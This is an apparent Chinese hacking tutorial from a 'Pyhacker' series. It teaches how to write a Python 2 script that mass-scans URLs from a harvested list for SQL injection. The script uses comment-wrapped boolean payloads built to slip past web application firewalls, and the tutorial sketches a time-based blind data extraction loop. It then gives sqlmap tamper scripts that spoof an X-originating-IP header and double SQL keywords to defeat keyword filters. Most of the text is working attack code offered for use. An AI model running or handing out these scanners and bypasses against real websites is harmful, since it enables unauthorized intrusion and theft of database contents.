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【Pyhacker编写指南】Sql注入脚本编写

这节课是巡安似海PyHacker编写指南的Sql注入脚本编写

有些注入点sqlmap跑不出,例如延时注入,实际延时与语句延时时间不符,sqlmap就跑不出,这就需要我们自己根据实际情况编写脚本来注入了。文末,涉及了sqlmap tamper编写,所以需要一定的python基础才能看懂。

喜欢用Python写脚本的小伙伴可以跟着一起写一写。

编写环境:Python2.x



00x1:

需要用到的模块如下:

import requestsimport re


00x2:

编写Sql判断

首先我们需要一个payload,最好可以bypass,这样方便测试

?a=/&id=1%20and%201=1%23/
url = 'http://127.0.0.1/index.php?id=1'r = r'\?(.*)'id = re.findall(r,url)id = id[0]payload = "?a=/*&{}%20and%201=1%23*/".format(id)


Ok,可以正常输出

再匹配前面的url + payload完美bypass

【Pyhacker编写指南】Sql注入脚本编写


整理一下代码:

def url_bypass(url): r = r'\?(.*)' id = re.findall(r,url) id = id[0] payload = "?a=/*&{}%20and%201=1%23*/".format(id)
urlr = '(.*)\?%s'%id url_ = re.findall(urlr,url) url_=url_[0] print url_+payload
url = 'http://127.0.0.1/index.php?id=1'url_bypass(url)

存放到列表当中,等下我们直接遍历即可

【Pyhacker编写指南】Sql注入脚本编写



00x3:

下面来说一下判断原理:

?a=/&id=1%20and%201=1%23/    返回正常?a=/&id=1%20and%201=2%23/ 返回错误
xor 1=1    返回错误xor 1=2    返回正常

判断1 != 2 则存在SQL注入漏洞(如上两条语句都可以测试)

我们分别利用两个请求测试,这样代码方便易读

def req1(url): global html1 headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0' } req = requests.get(url,headers=headers,verify=False,timeout=3) html1 = req.content
def req2(url): global html2 headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0' } req = requests.get(url,headers=headers,verify=False,timeout=3) html2 = req.content



00x4:

判断SQL注入漏洞

def main(): req1(urls[0]) req2(urls[1]) if html1 != html2: print "[+] Find SQL" else: print "NO"

调试一下:

【Pyhacker编写指南】Sql注入脚本编写



00x5:

配和前面的教程,我们已经可以采集url,并且深度爬取

采集就不在这里说了,你可以自己去采集一些url

遍历url 判断SQL注入漏洞:

if __name__ == '__main__': f = open('url.txt','r') for url in f: url = url.strip() url_bypass(url) # c处理url main() #判断SQL urls = [] #清空列表

自动输出结果我就不写了

前面也讲了,大家可以根据自己需求修改



00x6:

完整代码:

#!/usr/bin/python#-*- coding:utf-8 -*-import requestsimport reimport urllib3urllib3.disable_warnings()
urls = []def url_bypass(url): r = r'\?(.*)' id = re.findall(r,url) id = id[0] payload = "?a=/*&{}%20and%201=1%23*/".format(id)
r2 = r'\?(.*)' id2 = re.findall(r2,url) id2 = id2[0] payload2 = "?a=/*&{}%20and%201=2%23*/".format(id2)
urlr = '(.*)\?%s'%id url_ = re.findall(urlr,url) url_=url_[0] url_bypass = url_+payload url_bypass2 = url_ + payload2 urls.append(url_bypass) urls.append(url_bypass2)
def req1(url): global html1 headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0' } req = requests.get(url,headers=headers,verify=False,timeout=3) html1 = req.content
def req2(url): global html2 headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0' } req = requests.get(url,headers=headers,verify=False,timeout=3) html2 = req.content
def main(): try: req1(urls[0]) req2(urls[1]) if html1 != html2: print "[+] Find SQL",urls[1] else: pass except: pass
if __name__ == '__main__': f = open('url.txt','r') for url in f: url = url.strip() url_bypass(url) # c处理url main() #判断SQL urls = [] #清空列表


这里仅以SQL判断思路进行编写,猜测数据库等操作也相同

抛砖引玉,只需要更换sql语句,利用for循环即可

大致思路:(延时注入获取数据库)

payloads='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

遍历payloads

判断延迟时间,利用time比较,如果时间大于xxx,则字符存在

for x in payloads: url+and if(length(user)=%s,3,0)%x





Pyhacker 之 SQLMAP tamper编写


tamper是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

一个简单的tamper:

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies(): passdef tamper(payload, **kwargs): return payload.replace("'", "\\'").replace('"', '\\"')


我们只需要修改这两部分:

Priority:定义脚本的优先级(默认lowest即可)

tamper:是主要的函数,接受的参数为payload和kwargs

返回值为替换后的payload。比如这个例子中就把引号替换为了\

def tamper(payload, **kwargs):headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload

修改X-originating-IP 绕过Waf

所以我们只需要仿造进行修改,即可写出我们的tamper

我们来测试一下

【Pyhacker编写指南】Sql注入脚本编写


我们修改源代码,关键词 替换为空


【Pyhacker编写指南】Sql注入脚本编写


OK,没毛病

替换为空了,我们可以利用两个seleselectct 绕过


【Pyhacker编写指南】Sql注入脚本编写


测试一下:

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge

【Pyhacker编写指南】Sql注入脚本编写


已经注入不出来结果了,我们来写一个tamper

利用replace函数进行替换字符

【Pyhacker编写指南】Sql注入脚本编写



完整tamper:

#!/usr/bin/python#-*- coding:utf-8 -*-
#默认开头from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW #等级(LOWEST 最低级)
#可有可无def dependencies(): pass
def tamper(payload, **kwargs): playload = payload.replace('and','anandd') playload = playload.replace('xor', 'xoxorr') playload = playload.replace('select', 'selselectect') playload = playload.replace('union', 'uniunionon') playload = playload.replace('if', 'iiff') return playload

放到tamper目录下

Sqlmap.py -u "http://127.0.0.1/news.php?id=1" --purge --tamper "andand.py"


OK,已经注入出来了

方法大同小异,了解waf特征,fuzz bypass



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